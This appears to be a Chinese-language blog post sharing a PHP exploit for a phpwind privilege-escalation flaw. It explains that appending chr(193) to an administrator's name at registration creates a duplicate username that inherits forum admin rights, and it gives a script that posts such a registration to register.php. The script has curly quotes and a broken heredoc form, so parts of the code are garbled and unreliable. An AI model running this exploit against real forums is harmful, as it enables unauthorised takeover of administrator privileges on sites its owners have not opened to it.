phpwind管理权限泄露漏洞利用程序PHP版
夜火:这2天漏洞真多啊,昨天刚发了phpwind 0day 管理权限泄露漏洞 + exploit 利用程序,里面给的是python的exploit,今天来了个PHP的
漏洞原因是Mysql会舍弃没有用处的ASCII129-255,搜了资料也没有找到为什么,PhpWind最大失误不是程序,而是没有把username设为唯一。
可以构造一个和某个管理人员名字一样的ID再加上一个无效的ASCII码进行注册,表中会出现二个一样的用户名,而forums.forumadmin字段里存的用户名,这样就可获得全部的前台权限。
使用PHP构造的测试代码。
<?php
if (empty($_GET['sub'])) {
print <<<EOT method="get" action="" <form>
<INPUT name=url>
<INPUT name=regname>
<INPUT type=submit value=提交 name=sub>
EOT;
} else {
extract($_GET);
$regname .= chr(193);
$data = array(
‘regname’ => $regname,
‘regpwd’ => 147852,
‘regpwdrepeat’ => 147852,
‘regemail’ => ‘llll@Ll.com’,
'regemailtoall’ => 1,
’step’ => 2
);
$url .= ‘/register.php’;
$includePath = ini_get(’include_path’);
$includePath .=’;D:wwwpear’;
ini_set(’include_path’, $includePath);
include(’HTTP/Client.php’);
$http = new HTTP_Client();
var_dump($http->post($url, $data));
}
作者:yuehei
来源:yuehei 两点之间